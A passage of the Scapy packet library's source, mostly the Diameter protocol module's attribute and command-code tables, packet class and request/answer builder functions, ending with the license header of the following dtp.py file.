AVPV_OctetString, 192), 1481: ('GMLC-Restriction', AVP_10415_1481, 192), 1482: ('PLMN-Client', AVP_10415_1482, 192), 1483: ('Service-Type', AVPV_Grouped, 192), 1484: ('ServiceTypeIdentity', AVPV_Unsigned32, 192), 1485: ('MO-LR', AVPV_Grouped, 192), 1486: ('Teleservice-List', AVPV_Grouped, 192), 1487: ('TS-Code', AVPV_OctetString, 192), 1488: ('Call-Barring-Info', AVPV_Grouped, 192), 1489: ('SGSN-Number', AVPV_OctetString, 192), 1490: ('IDR-Flags', AVPV_Unsigned32, 192), 1491: ('ICS-Indicator', AVP_10415_1491, 128), 1492: ('IMS-Voice-Over-PS-Sessions-Supported', AVP_10415_1492, 128), 1493: ('Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions', AVP_10415_1493, 128), # noqa: E501 1494: ('Last-UE-Activity-Time', AVPV_Time, 128), 1495: ('EPS-User-State', AVPV_Grouped, 128), 1496: ('EPS-Location-Information', AVPV_Grouped, 128), 1497: ('MME-User-State', AVPV_Grouped, 128), 1498: ('SGSN-User-State', AVPV_Grouped, 128), 1499: ('User-State', AVP_10415_1499, 128), 1500: ('Non-3GPP-User-Data', AVPV_Grouped, 192), 1501: ('Non-3GPP-IP-Access', AVP_10415_1501, 192), 1502: ('Non-3GPP-IP-Access-APN', AVP_10415_1502, 192), 1503: ('AN-Trusted', AVP_10415_1503, 192), 1504: ('ANID', AVPV_StrLenField, 192), 1505: ('Trace-Info', AVPV_Grouped, 128), 1506: ('MIP-FA-RK', AVPV_OctetString, 192), 1507: ('MIP-FA-RK-SPI', AVPV_Unsigned32, 192), 1508: ('PPR-Flags', AVPV_Unsigned32, 128), 1509: ('WLAN-Identifier', AVPV_Grouped, 128), 1510: ('TWAN-Access-Info', AVPV_Grouped, 128), 1511: ('Access-Authorization-Flags', AVPV_Unsigned32, 128), 1512: ('TWAN-Default-APN-Context-Id', AVPV_Unsigned32, 128), 1515: ('Trust-Relationship-Update', AVP_10415_1515, 128), 1516: ('Full-Network-Name', AVPV_OctetString, 128), 1517: ('Short-Network-Name', AVPV_OctetString, 128), 1518: ('AAA-Failure-Indication', AVPV_Unsigned32, 128), 1519: ('Transport-Access-Type', AVP_10415_1519, 128), 1520: ('DER-Flags', AVPV_Unsigned32, 128), 1521: ('DEA-Flags', AVPV_Unsigned32, 128), 1522: ('RAR-Flags', AVPV_Unsigned32, 128), 1523: ('DER-S6b-Flags', AVPV_Unsigned32, 128), 1524: ('SSID', AVPV_StrLenField, 128), 1525: ('HESSID', AVPV_StrLenField, 128), 1526: ('Access-Network-Info', AVPV_Grouped, 128), 1527: ('TWAN-Connection-Mode', AVPV_Unsigned32, 128), 1528: ('TWAN-Connectivity-Parameters', AVPV_Grouped, 128), 1529: ('Connectivity-Flags', AVPV_Unsigned32, 128), 1530: ('TWAN-PCO', AVPV_OctetString, 128), 1531: ('TWAG-CP-Address', AVPV_Address, 128), 1532: ('TWAG-UP-Address', AVPV_StrLenField, 128), 1533: ('TWAN-S2a-Failure-Cause', AVPV_Unsigned32, 128), 1534: ('SM-Back-Off-Timer', AVPV_Unsigned32, 128), 1535: ('WLCP-Key', AVPV_OctetString, 128), 1600: ('Information', AVPV_Grouped, 128), 1601: ('SGSN-Location-Information', AVPV_Grouped, 128), 1602: ('E-UTRAN-Cell-Global-Identity', AVPV_OctetString, 128), 1603: ('Tracking-Area-Identity', AVPV_OctetString, 128), 1604: ('Cell-Global-Identity', AVPV_OctetString, 128), 1605: ('Routing-Area-Identity', AVPV_OctetString, 128), 1606: ('Location-Area-Identity', AVPV_OctetString, 128), 1607: ('Service-Area-Identity', AVPV_OctetString, 128), 1608: ('Geographical-Information', AVPV_OctetString, 128), 1609: ('Geodetic-Information', AVPV_OctetString, 128), 1610: ('Current-Location-Retrieved', AVP_10415_1610, 128), 1611: ('Age-Of-Location-Information', AVPV_Unsigned32, 128), 1612: ('Active-APN', AVPV_Grouped, 128), 1613: ('SIPTO-Permission', AVP_10415_1613, 128), 1614: ('Error-Diagnostic', AVP_10415_1614, 128), 1615: ('UE-SRVCC-Capability', AVP_10415_1615, 128), 1616: ('MPS-Priority', AVPV_Unsigned32, 128), 1617: ('VPLMN-LIPA-Allowed', AVP_10415_1617, 128), 1618: ('LIPA-Permission', AVP_10415_1618, 128), 1619: ('Subscribed-Periodic-RAU-TAU-Timer', AVPV_Unsigned32, 128), 1621: ('Ext-PDP-Address', AVPV_Address, 128), 1622: ('MDT-Configuration', AVPV_Grouped, 128), 1623: ('Job-Type', AVP_10415_1623, 128), 1624: ('Area-Scope', AVPV_Grouped, 128), 1625: ('List-Of-Measurements', AVPV_Unsigned32, 128), 1626: ('Reporting-Trigger', AVPV_Unsigned32, 128), 1627: ('Report-Interval', AVP_10415_1627, 128), 1628: ('Report-Amount', AVP_10415_1628, 128), 1629: ('Event-Threshold-RSRP', AVPV_Unsigned32, 128), 1631: ('Logging-Interval', AVP_10415_1631, 128), 1632: ('Logging-Duration', AVP_10415_1632, 128), 1633: ('Relay-Node-Indicator', AVP_10415_1633, 128), 1634: ('MDT-User-Consent', AVP_10415_1634, 128), 1635: ('PUR-Flags', AVPV_Unsigned32, 128), 1636: ('Subscribed-VSRVCC', AVP_10415_1636, 128), 1638: ('CLR-Flags', AVPV_Unsigned32, 128), 1639: ('UVR-Flags', AVPV_Unsigned32, 192), 1640: ('UVA-Flags', AVPV_Unsigned32, 192), 1641: ('VPLMN-CSG-Subscription-Data', AVPV_Grouped, 192), 1642: ('Time-Zone', AVPV_StrLenField, 128), 1643: ('A-MSISDN', AVP_10415_1643, 128), 1645: ('MME-Number-for-MT-SMS', AVPV_OctetString, 128), 1648: ('SMS-Register-Request', AVP_10415_1648, 128), 1649: ('Local-Time-Zone', AVPV_Grouped, 128), 1650: ('Daylight-Saving-Time', AVP_10415_1650, 128), 1654: ('Subscription-Data-Flags', AVPV_Unsigned32, 128), 1659: ('Positioning-Method', AVPV_OctetString, 128), 1660: ('Measurement-Quantity', AVPV_OctetString, 128), 1661: ('Event-Threshold-Event-1F', AVPV_Integer32, 128), 1662: ('Event-Threshold-Event-1I', AVPV_Integer32, 128), 1663: ('Restoration-Priority', AVPV_Unsigned32, 128), 1664: ('SGs-MME-Identity', AVPV_StrLenField, 128), 1665: ('SIPTO-Local-Network-Permission', AVPV_Unsigned32, 128), 1666: ('Coupled-Node-Diameter-ID', AVPV_StrLenField, 128), 1667: ('WLAN-offloadability', AVPV_Grouped, 128), 1668: ('WLAN-offloadability-EUTRAN', AVPV_Unsigned32, 128), 1669: ('WLAN-offloadability-UTRAN', AVPV_Unsigned32, 128), 1670: ('Reset-ID', AVPV_OctetString, 128), 1671: ('MDT-Allowed-PLMN-Id', AVPV_OctetString, 128), 2000: ('SMS-Information', AVPV_Grouped, 192), 2001: ('Data-Coding-Scheme', AVPV_Integer32, 192), 2002: ('Destination-Interface', AVPV_Grouped, 192), 2003: ('Interface-Id', AVPV_StrLenField, 192), 2004: ('Interface-Port', AVPV_StrLenField, 192), 2005: ('Interface-Text', AVPV_StrLenField, 192), 2006: ('Interface-Type', AVP_10415_2006, 192), 2007: ('SM-Message-Type', AVP_10415_2007, 192), 2008: ('Originator-SCCP-Address', AVPV_Address, 192), 2009: ('Originator-Interface', AVPV_Grouped, 192), 2010: ('Recipient-SCCP-Address', AVPV_Address, 192), 2011: ('Reply-Path-Requested', AVP_10415_2011, 192), 2012: ('SM-Discharge-Time', AVPV_Time, 192), 2013: ('SM-Protocol-ID', AVPV_OctetString, 192), 2015: ('SM-User-Data-Header', AVPV_OctetString, 192), 2016: ('SMS-Node', AVP_10415_2016, 192), 2018: ('Client-Address', AVPV_Address, 192), 2019: ('Number-Of-Messages-Sent', AVPV_Unsigned32, 192), 2021: ('Remaining-Balance', AVPV_Grouped, 192), 2022: ('Refund-Information', AVPV_OctetString, 192), 2023: ('Carrier-Select-Routing-Information', AVPV_StrLenField, 192), 2024: ('Number-Portability-Routing-Information', AVPV_StrLenField, 192), # noqa: E501 2025: ('PoC-Event-Type', AVP_10415_2025, 192), 2026: ('Recipient-Info', AVPV_Grouped, 192), 2027: ('Originator-Received-Address', AVPV_Grouped, 192), 2028: ('Recipient-Received-Address', AVPV_Grouped, 192), 2029: ('SM-Service-Type', AVP_10415_2029, 192), 2030: ('MMTel-Information', AVPV_Grouped, 192), 2031: ('MMTel-SService-Type', AVPV_Unsigned32, 192), 2032: ('Service-Mode', AVPV_Unsigned32, 192), 2033: ('Subscriber-Role', AVP_10415_2033, 192), 2034: ('Number-Of-Diversions', AVPV_Unsigned32, 192), 2035: ('Associated-Party-Address', AVPV_StrLenField, 192), 2036: ('SDP-Type', AVP_10415_2036, 192), 2037: ('Change-Condition', AVPV_Integer32, 192), 2038: ('Change-Time', AVPV_Time, 192), 2039: ('Diagnostics', AVPV_Integer32, 192), 2040: ('Service-Data-Container', AVPV_Grouped, 192), 2041: ('Start-Time', AVPV_Time, 192), 2042: ('Stop-Time', AVPV_Time, 192), 2043: ('Time-First-Usage', AVPV_Time, 192), 2044: ('Time-Last-Usage', AVPV_Time, 192), 2045: ('Time-Usage', AVPV_Unsigned32, 192), 2046: ('Traffic-Data-Volumes', AVPV_Grouped, 192), 2047: ('Serving-Node-Type', AVP_10415_2047, 192), 2048: ('Supplementary-Service', AVPV_Grouped, 192), 2049: ('Participant-Action-Type', AVP_10415_2049, 192), 2050: ('PDN-Connection-Charging-ID', AVPV_Unsigned32, 192), 2051: ('Dynamic-Address-Flag', AVP_10415_2051, 192), 2052: ('Accumulated-Cost', AVPV_Grouped, 192), 2053: ('AoC-Cost-Information', AVPV_Grouped, 192), 2056: ('Current-Tariff', AVPV_Grouped, 192), 2058: ('Rate-Element', AVPV_Grouped, 192), 2059: ('Scale-Factor', AVPV_Grouped, 192), 2060: ('Tariff-Information', AVPV_Grouped, 192), 2061: ('Unit-Cost', AVPV_Grouped, 192), 2062: ('Incremental-Cost', AVPV_Grouped, 192), 2063: ('Local-Sequence-Number', AVPV_Unsigned32, 192), 2064: ('Node-Id', AVPV_StrLenField, 192), 2065: ('SGW-Change', AVP_10415_2065, 192), 2066: ('Charging-Characteristics-Selection-Mode', AVP_10415_2066, 192), 2067: ('SGW-Address', AVPV_Address, 192), 2068: ('Dynamic-Address-Flag-Extension', AVP_10415_2068, 192), 2118: ('Charge-Reason-Code', AVP_10415_2118, 192), 2200: ('Subsession-Decision-Info', AVPV_Grouped, 192), 2201: ('Subsession-Enforcement-Info', AVPV_Grouped, 192), 2202: ('Subsession-Id', AVPV_Unsigned32, 192), 2203: ('Subsession-Operation', AVP_10415_2203, 192), 2204: ('Multiple-BBERF-Action', AVP_10415_2204, 192), 2206: ('DRA-Deployment', AVP_10415_2206, 128), 2208: ('DRA-Binding', AVP_10415_2208, 128), 2301: ('SIP-Request-Timestamp-Fraction', AVPV_Unsigned32, 192), 2302: ('SIP-Response-Timestamp-Fraction', AVPV_Unsigned32, 192), 2303: ('Online-Charging-Flag', AVP_10415_2303, 192), 2304: ('CUG-Information', AVPV_OctetString, 192), 2305: ('Real-Time-Tariff-Information', AVPV_Grouped, 192), 2306: ('Tariff-XML', AVPV_StrLenField, 192), 2307: ('MBMS-GW-Address', AVPV_Address, 192), 2308: ('IMSI-Unauthenticated-Flag', AVP_10415_2308, 192), 2309: ('Account-Expiration', AVPV_Time, 192), 2310: ('AoC-Format', AVP_10415_2310, 192), 2311: ('AoC-Service', AVPV_Grouped, 192), 2312: ('AoC-Service-Obligatory-Type', AVP_10415_2312, 192), 2313: ('AoC-Service-Type', AVP_10415_2313, 192), 2314: ('AoC-Subscription-Information', AVPV_Grouped, 192), 2315: ('Preferred-AoC-Currency', AVPV_Unsigned32, 192), 2317: ('CSG-Access-Mode', AVP_10415_2317, 192), 2318: ('CSG-Membership-Indication', AVP_10415_2318, 192), 2319: ('User-CSG-Information', AVPV_Grouped, 192), 2320: ('Outgoing-Session-Id', AVPV_StrLenField, 192), 2321: ('Initial-IMS-Charging-Identifier', AVPV_StrLenField, 192), 2322: ('IMS-Emergency-Indicator', AVP_10415_2322, 192), 2323: ('MBMS-Charged-Party', AVP_10415_2323, 192), 2400: ('LMSI', AVPV_OctetString, 192), 2401: ('Serving-Node', AVPV_Grouped, 192), 2402: ('MME-Name', AVPV_StrLenField, 192), 2403: ('MSC-Number', AVPV_OctetString, 192), 2404: ('LCS-Capabilities-Sets', AVPV_Unsigned32, 192), 2405: ('GMLC-Address', AVPV_Address, 192), 2406: ('Additional-Serving-Node', AVPV_Grouped, 192), 2407: ('PPR-Address', AVPV_Address, 192), 2408: ('MME-Realm', AVPV_StrLenField, 128), 2409: ('SGSN-Name', AVPV_StrLenField, 128), 2410: ('SGSN-Realm', AVPV_StrLenField, 128), 2411: ('RIA-Flags', AVPV_Unsigned32, 128), 2500: ('SLg-Location-Type', AVP_10415_2500, 192), 2501: ('LCS-EPS-Client-Name', AVPV_Grouped, 192), 2502: ('LCS-Requestor-Name', AVPV_Grouped, 192), 2503: ('LCS-Priority', AVPV_Unsigned32, 192), 2504: ('LCS-QoS', AVPV_Grouped, 192), 2505: ('Horizontal-Accuracy', AVPV_Unsigned32, 192), 2506: ('Vertical-Accuracy', AVPV_Unsigned32, 192), 2507: ('Vertical-Requested', AVP_10415_2507, 192), 2508: ('Velocity-Requested', AVP_10415_2508, 192), 2509: ('Response-Time', AVP_10415_2509, 192), 2510: ('Supported-GAD-Shapes', AVPV_Unsigned32, 192), 2511: ('LCS-Codeword', AVPV_StrLenField, 192), 2512: ('LCS-Privacy-Check', AVP_10415_2512, 192), 2513: ('Accuracy-Fulfilment-Indicator', AVP_10415_2513, 192), 2514: ('Age-Of-Location-Estimate', AVPV_Unsigned32, 192), 2515: ('Velocity-Estimate', AVPV_OctetString, 192), 2516: ('EUTRAN-Positioning-Data', AVPV_OctetString, 192), 2517: ('ECGI', AVPV_OctetString, 192), 2518: ('Location-Event', AVP_10415_2518, 192), 2519: ('Pseudonym-Indicator', AVP_10415_2519, 192), 2520: ('LCS-Service-Type-ID', AVPV_Unsigned32, 192), 2523: ('LCS-QoS-Class', AVP_10415_2523, 192), 2524: ('GERAN-Positioning-Info', AVPV_Grouped, 128), 2525: ('GERAN-Positioning-Data', AVPV_OctetString, 128), 2526: ('GERAN-GANSS-Positioning-Data', AVPV_OctetString, 128), 2527: ('UTRAN-Positioning-Info', AVPV_Grouped, 128), 2528: ('UTRAN-Positioning-Data', AVPV_OctetString, 128), 2529: ('UTRAN-GANSS-Positioning-Data', AVPV_OctetString, 128), 2530: ('LRR-Flags', AVPV_Unsigned32, 128), 2531: ('LCS-Reference-Number', AVPV_OctetString, 128), 2532: ('Deferred-Location-Type', AVPV_Unsigned32, 128), 2533: ('Area-Event-Info', AVPV_Grouped, 128), 2534: ('Area-Definition', AVPV_Grouped, 128), 2535: ('Area', AVPV_Grouped, 128), 2536: ('Area-Type', AVPV_Unsigned32, 128), 2537: ('Area-Identification', AVPV_Grouped, 128), 2538: ('Occurrence-Info', AVP_10415_2538, 128), 2539: ('Interval-Time', AVPV_Unsigned32, 128), 2540: ('Periodic-LDR-Information', AVPV_Grouped, 128), 2541: ('Reporting-Amount', AVPV_Unsigned32, 128), 2542: ('Reporting-Interval', AVPV_Unsigned32, 128), 2543: ('Reporting-PLMN-List', AVPV_Grouped, 128), 2544: ('PLMN-ID-List', AVPV_Grouped, 128), 2545: ('PLR-Flags', AVPV_Unsigned32, 128), 2546: ('PLA-Flags', AVPV_Unsigned32, 128), 2547: ('Deferred-MT-LR-Data', AVPV_Grouped, 128), 2548: ('Termination-Cause', AVPV_Unsigned32, 128), 2549: ('LRA-Flags', AVPV_Unsigned32, 128), 2550: ('Periodic-Location-Support-Indicator', AVP_10415_2550, 128), 2551: ('Prioritized-List-Indicator', AVP_10415_2551, 128), 2552: ('ESMLC-Cell-Info', AVPV_Grouped, 128), 2553: ('Cell-Portion-ID', AVPV_Unsigned32, 128), 2554: ('1xRTT-RCID', AVPV_OctetString, 128), 2601: ('IMS-Application-Reference-Identifier', AVPV_StrLenField, 192), 2602: ('Low-Priority-Indicator', AVP_10415_2602, 192), 2604: ('Local-GW-Inserted-Indication', AVP_10415_2604, 192), 2605: ('Transcoder-Inserted-Indication', AVP_10415_2605, 192), 2606: ('PDP-Address-Prefix-Length', AVPV_Unsigned32, 192), 2701: ('Transit-IOI-List', AVPV_StrLenField, 192), 2702: ('AS-Code', AVP_10415_2702, 192), 2704: ('NNI-Type', AVP_10415_2704, 192), 2705: ('Neighbour-Node-Address', AVPV_Address, 192), 2706: ('Relationship-Mode', AVP_10415_2706, 192), 2707: ('Session-Direction', AVP_10415_2707, 192), 2708: ('From-Address', AVPV_StrLenField, 192), 2709: ('Access-Transfer-Information', AVPV_Grouped, 192), 2710: ('Access-Transfer-Type', AVP_10415_2710, 192), 2711: ('Related-IMS-Charging-Identifier', AVPV_StrLenField, 192), 2712: ('Related-IMS-Charging-Identifier-Node', AVPV_Address, 192), 2713: ('IMS-Visited-Network-Identifier', AVPV_StrLenField, 192), 2714: ('TWAN-User-Location-Info', AVPV_Grouped, 192), 2716: ('BSSID', AVPV_StrLenField, 192), 2717: ('TAD-Identifier', AVP_10415_2717, 192), 2802: ('TDF-Application-Instance-Identifier', AVPV_OctetString, 128), 2804: ('HeNB-Local-IP-Address', AVPV_Address, 128), 2805: ('UE-Local-IP-Address', AVPV_Address, 128), 2806: ('UDP-Source-Port', AVPV_Unsigned32, 128), 2809: ('Mute-Notification', AVP_10415_2809, 128), 2810: ('Monitoring-Time', AVPV_Time, 128), 2811: ('AN-GW-Status', AVP_10415_2811, 128), 2812: ('User-Location-Info-Time', AVPV_Time, 128), 2816: ('Default-QoS-Information', AVPV_Grouped, 128), 2817: ('Default-QoS-Name', AVPV_StrLenField, 128), 2818: ('Conditional-APN-Aggregate-Max-Bitrate', AVPV_Grouped, 128), 2819: ('RAN-NAS-Release-Cause', AVPV_OctetString, 128), 2820: ('Presence-Reporting-Area-Elements-List', AVPV_OctetString, 128), 2821: ('Presence-Reporting-Area-Identifier', AVPV_OctetString, 128), 2822: ('Presence-Reporting-Area-Information', AVPV_Grouped, 128), 2823: ('Presence-Reporting-Area-Status', AVPV_Unsigned32, 128), 2824: ('NetLoc-Access-Support', AVPV_Unsigned32, 128), 2825: ('Fixed-User-Location-Info', AVPV_Grouped, 128), 2826: ('PCSCF-Restoration-Indication', AVPV_Unsigned32, 128), 2827: ('IP-CAN-Session-Charging-Scope', AVPV_Unsigned32, 128), 2828: ('Monitoring-Flags', AVPV_Unsigned32, 128), 2901: ('Policy-Counter-Identifier', AVPV_StrLenField, 192), 2902: ('Policy-Counter-Status', AVPV_StrLenField, 192), 2903: ('Policy-Counter-Status-Report', AVPV_Grouped, 192), 2904: ('SL-Request-Type', AVP_10415_2904, 192), 2905: ('Pending-Policy-Counter-Information', AVPV_Grouped, 192), 2906: ('Pending-Policy-Counter-Change-Time', AVPV_Time, 192), 3401: ('Reason-Header', AVPV_StrLenField, 192), 3402: ('Instance-Id', AVPV_StrLenField, 192), 3403: ('Route-Header-Received', AVPV_StrLenField, 192), 3404: ('Route-Header-Transmitted', AVPV_StrLenField, 192), 3405: ('SM-Device-Trigger-Information', AVPV_Grouped, 192), 3406: ('MTC-IWF-Address', AVPV_Address, 192), 3407: ('SM-Device-Trigger-Indicator', AVP_10415_3407, 192), 3408: ('SM-Sequence-Number', AVPV_Unsigned32, 192), 3409: ('SMS-Result', AVPV_Unsigned32, 192), 3410: ('VCS-Information', AVPV_Grouped, 192), 3411: ('Basic-Service-Code', AVPV_Grouped, 192), 3412: ('Bearer-Capability', AVPV_OctetString, 192), 3413: ('Teleservice', AVPV_OctetString, 192), 3414: ('ISUP-Location-Number', AVPV_OctetString, 192), 3415: ('Forwarding-Pending', AVP_10415_3415, 192), 3416: ('ISUP-Cause', AVPV_Grouped, 192), 3417: ('MSC-Address', AVPV_OctetString, 192), 3418: ('Network-Call-Reference-Number', AVPV_OctetString, 192), 3419: ('Start-of-Charging', AVPV_Time, 192), 3420: ('VLR-Number', AVPV_OctetString, 192), 3421: ('CN-Operator-Selection-Entity', AVP_10415_3421, 192), 3422: ('ISUP-Cause-Diagnostics', AVPV_OctetString, 192), 3423: ('ISUP-Cause-Location', AVPV_Unsigned32, 192), 3424: ('ISUP-Cause-Value', AVPV_Unsigned32, 192), 3425: ('ePDG-Address', AVPV_Address, 192), 3428: ('Coverage-Status', AVP_10415_3428, 192), 3429: ('Layer-2-Group-ID', AVPV_StrLenField, 192), 3430: ('Monitored-PLMN-Identifier', AVPV_StrLenField, 192), 3431: ('Monitoring-UE-HPLMN-Identifier', AVPV_StrLenField, 192), 3432: ('Monitoring-UE-Identifier', AVPV_StrLenField, 192), 3433: ('Monitoring-UE-VPLMN-Identifier', AVPV_StrLenField, 192), 3434: ('PC3-Control-Protocol-Cause', AVPV_Integer32, 192), 3435: ('PC3-EPC-Control-Protocol-Cause', AVPV_Integer32, 192), 3436: ('Requested-PLMN-Identifier', AVPV_StrLenField, 192), 3437: ('Requestor-PLMN-Identifier', AVPV_StrLenField, 192), 3438: ('Role-Of-ProSe-Function', AVP_10415_3438, 192), 3439: ('Usage-Information-Report-Sequence-Number', AVPV_Integer32, 192), # noqa: E501 3440: ('ProSe-3rd-Party-Application-ID', AVPV_StrLenField, 192), 3441: ('ProSe-Direct-Communication-Data-Container', AVPV_Grouped, 192), 3442: ('ProSe-Direct-Discovery-Model', AVP_10415_3442, 192), 3443: ('ProSe-Event-Type', AVP_10415_3443, 192), 3444: ('ProSe-Function-IP-Address', AVPV_Address, 192), 3445: ('ProSe-Functionality', AVP_10415_3445, 192), 3446: ('ProSe-Group-IP-Multicast-Address', AVPV_Address, 192), 3447: ('ProSe-Information', AVPV_Grouped, 192), 3448: ('ProSe-Range-Class', AVP_10415_3448, 192), 3449: ('ProSe-Reason-For-Cancellation', AVP_10415_3449, 192), 3450: ('ProSe-Request-Timestamp', AVPV_Time, 192), 3451: ('ProSe-Role-Of-UE', AVP_10415_3451, 192), 3452: ('ProSe-Source-IP-Address', AVPV_Address, 192), 3453: ('ProSe-UE-ID', AVPV_StrLenField, 192), 3454: ('Proximity-Alert-Indication', AVP_10415_3454, 192), 3455: ('Proximity-Alert-Timestamp', AVPV_Time, 192), 3456: ('Proximity-Cancellation-Timestamp', AVPV_Time, 192), 3457: ('ProSe-Function-PLMN-Identifier', AVPV_StrLenField, 192), }, } ##################################################################### ##################################################################### # # Diameter commands classes and definitions # ##################################################################### ##################################################################### # Version + message length + flags + code + Application-ID + Hop-by-Hop ID # + End-to-End ID DR_Header_Length = 20 DR_Flags_List = ["x", "x", "x", "x", "T", "E", "P", "R"] # The Diameter commands definition fields meaning: # 2nd: the 2 letters prefix for both requests and answers # 3rd: dictionary of Request/Answer command flags for each supported application ID. Each dictionary key is one of the # noqa: E501 # supported application ID and each value is a tuple defining the request # flag and then the answer flag DR_cmd_def = { 257: ('Capabilities-Exchange', 'CE', {0: (128, 0)}), 258: ('Re-Auth', 'RA', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}), # noqa: E501 260: ('AA-Mobile-Node', 'AM', {2: (192, 64)}), 262: ('Home-Agent-MIP', 'HA', {2: (192, 64)}), 265: ('AA', 'AA', {16777272: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64)}), # noqa: E501 268: ('Diameter-EAP', 'DE', {16777272: (192, 64), 16777264: (192, 64), 16777250: (192, 64), 5: (192, 64), 7: (192, 64)}), # noqa: E501 271: ('Accounting', 'AC', {0: (192, 64), 1: (192, 64)}), 272: ('Credit-Control', 'CC', {4: (192, 64)}), 274: ('Abort-Session', 'AS', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777272: (192, 64), 16777264: (192, 64)}), # noqa: E501 275: ('Session-Termination', 'ST', {0: (192, 64), 1: (192, 64), 16777250: (192, 64), 16777264: (192, 64), 16777272: (192, 64)}), # noqa: E501 280: ('Device-Watchdog', 'DW', {0: (128, 0)}), 282: ('Disconnect-Peer', 'DP', {0: (128, 0)}), 283: ('User-Authorization', 'UA', {6: (192, 64)}), 284: ('Server-Assignment', 'SA', {6: (192, 64)}), 285: ('Location-Info', 'LI', {6: (192, 64)}), 286: ('Multimedia-Auth', 'MA', {6: (192, 64)}), 287: ('Registration-Termination', 'RT', {6: (192, 64)}), 288: ('Push-Profile', 'PP', {6: (192, 64)}), 300: ('User-Authorization', 'UA', {16777216: (192, 64)}), 301: ('Server-Assignment', 'SA', {16777216: (192, 64), 16777265: (192, 64)}), # noqa: E501 302: ('Location-Info', 'LI', {16777216: (192, 64)}), 303: ('Multimedia-Auth', 'MA', {16777216: (192, 64), 16777265: (192, 64)}), 304: ('Registration-Termination', 'RT', {16777216: (192, 64), 16777265: (192, 64)}), # noqa: E501 305: ('Push-Profile', 'PP', {16777216: (192, 64), 16777265: (128, 64)}), 306: ('User-Data', 'UD', {16777217: (192, 64)}), 307: ('Profile-Update', 'PU', {16777217: (192, 64)}), 308: ('Subscribe-Notifications', 'SN', {16777217: (192, 64)}), 309: ('Push-Notification', 'PN', {16777217: (192, 64)}), 316: ('Update-Location', 'UL', {16777251: (192, 64)}), 317: ('Cancel-Location', 'CL', {16777251: (192, 64)}), 318: ('Authentication-Information', 'AI', {16777251: (192, 64)}), 319: ('Insert-Subscriber-Data', 'ID', {16777251: (192, 64)}), 320: ('Delete-Subscriber-Data', 'DS', {16777251: (192, 64)}), 321: ('Purge-UE', 'PU', {16777251: (192, 64)}), 322: ('Reset', 'RS', {16777251: (192, 64)}), 323: ('Notify', 'NO', {16777251: (192, 64)}), 324: ('ME-Identity-Check', 'EC', {16777252: (192, 64)}), 325: ('MIP6', 'MI', {8: (192, 64)}), 8388620: ('Provide-Location', 'PL', {16777255: (192, 64)}), 8388621: ('Location-Report', 'LR', {16777255: (192, 64)}), 8388622: ('LCS-Routing-Info', 'RI', {16777291: (192, 64)}), 8388635: ('Spending-Limit', 'SL', {16777255: (192, 64)}), 8388636: ('Spending-Status-Notification', 'SN', {16777255: (192, 64)}), 8388638: ('Update-VCSG-Location', 'UV', {16777308: (192, 64)}), 8388642: ('Cancel-VCSG-Location', 'CV', {16777308: (192, 64)}), } # Generic class + commands builder ####################################### class DiamG (Packet): """ Generic class defining all the Diameter fields""" name = "Diameter" fields_desc = [ # Protocol version field, 1 byte, default value = 1 XByteField("version", 1), I3FieldLenField( "drLen", None, length_of="avpList", adjust=lambda p, x:x + DR_Header_Length), DRFlags("drFlags", None, 8, DR_Flags_List), # Command Code, 3 bytes, no default DRCode("drCode", None, DR_cmd_def), # Application ID, 4 bytes, no default IntEnumField("drAppId", None, AppIDsEnum), # Hop-by-Hop Identifier, 4 bytes XIntField("drHbHId", 0), # End-to-end Identifier, 4 bytes XIntField("drEtEId", 0), PacketListField( "avpList", [], GuessAvpType, length_from=lambda pkt:pkt.drLen - DR_Header_Length), ] def getCmdParams(cmd, request, **fields): """Update or fill the fields parameters depending on command code. Both cmd and drAppId can be provided # noqa: E501 in string or int format.""" drCode = None params = None drAppId = None # Fetch the parameters if cmd is found in dict if isinstance(cmd, int): drCode = cmd # Enable to craft commands with non standard code if cmd in DR_cmd_def: params = DR_cmd_def[drCode] else: params = ('Unknown', 'UK', {0: (128, 0)}) warning( 'No Diameter command with code %d found in DR_cmd_def dictionary' % # noqa: E501 cmd) else: # Assume command is a string if len(cmd) > 3: # Assume full command name given fpos = 0 else: # Assume abbreviated name is given and take only the first two letters # noqa: E501 cmd = cmd[:2] fpos = 1 for k, f in DR_cmd_def.items(): if f[fpos][:len( cmd)] == cmd: # Accept only a prefix of the full name drCode = k params = f break if not drCode: warning( 'Diameter command with name %s not found in DR_cmd_def dictionary.' % # noqa: E501 cmd) return (fields, 'Unknown') # The drCode is set/overridden in any case fields['drCode'] = drCode # Processing of drAppId if 'drAppId' in fields: val = fields['drAppId'] if isinstance(val, str): # Translate into application Id code found = False for k, v in six.iteritems(AppIDsEnum): if v.find(val) != -1: drAppId = k fields['drAppId'] = drAppId found = True break if not found: del(fields['drAppId']) warning( 'Application ID with name %s not found in AppIDsEnum dictionary.' % # noqa: E501 val) return (fields, 'Unknown') else: # Assume type is int drAppId = val else: # Application Id shall be taken from the params found based on cmd drAppId = next(iter(params[2])) # The first record is taken fields['drAppId'] = drAppId # Set the command name name = request and params[0] + '-Request' or params[0] + '-Answer' # Processing of flags (only if not provided manually) if 'drFlags' not in fields: if drAppId in params[2]: flags = params[2][drAppId] fields['drFlags'] = request and flags[0] or flags[1] return (fields, name) def DiamReq(cmd, **fields): """Craft Diameter request commands""" upfields, name = getCmdParams(cmd, True, **fields) p = DiamG(**upfields) p.name = name return p def DiamAns(cmd, **fields): """Craft Diameter answer commands""" upfields, name = getCmdParams(cmd, False, **fields) p = DiamG(**upfields) p.name = name return p # Binding ####################################### bind_layers(TCP, DiamG, dport=3868) bind_layers(TCP, DiamG, sport=3868) bind_layers(SCTPChunkData, DiamG, dport=3868) bind_layers(SCTPChunkData, DiamG, sport=3868) bind_layers(SCTPChunkData, DiamG, proto_id=46) bind_layers(SCTPChunkData, DiamG, proto_id=47) scapy-2.4.4/scapy/contrib/dtp.py000066400000000000000000000075221372370053500165730ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Dynamic 